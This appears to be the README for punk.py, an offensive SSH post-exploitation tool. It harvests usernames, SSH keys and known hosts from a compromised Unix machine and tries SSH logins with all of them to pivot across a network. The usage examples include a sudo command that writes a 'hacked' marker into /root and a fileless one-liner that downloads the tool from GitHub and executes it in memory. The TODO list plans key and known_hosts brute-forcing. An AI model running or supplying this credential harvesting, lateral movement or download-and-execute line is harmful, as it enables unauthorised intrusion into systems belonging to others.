unix SSH post-exploitation 1337 tool

how it works
punk.py is a post-exploitation tool meant to help network pivoting from a compromised unix box. It collect usernames, ssh keys and known hosts from a unix system, then it tries to connect via ssh to all the combinations found. punk.py is wrote in order to work on standard python2 and python3 installations.

examples
standard execution:

 ~$ ./punk.py

skip passwd checks and use a custom home path:

 ~$ ./punk.py --no-passwd --home /home/ldapusers/

execute commands with sudo:

 ~$ ./punk.py --run "sudo sh -c 'echo iamROOT>/root/hacked.txt'"

one-liner fileless ( with --no-passwd parameter ):

 ~$ python -c "import urllib2;exec(urllib2.urlopen('https://raw.githubusercontent.com/r3vn/punk.py/master/punk.py').read())" --no-passwd

TODO

• improve private keys hunting including dsa keys
• Recursion
• SSH keys with password bruteforce
• Hashed known_hosts bruteforce ( https://blog.rootshell.be/2010/11/03/bruteforcing-ssh-known_hosts-files/ )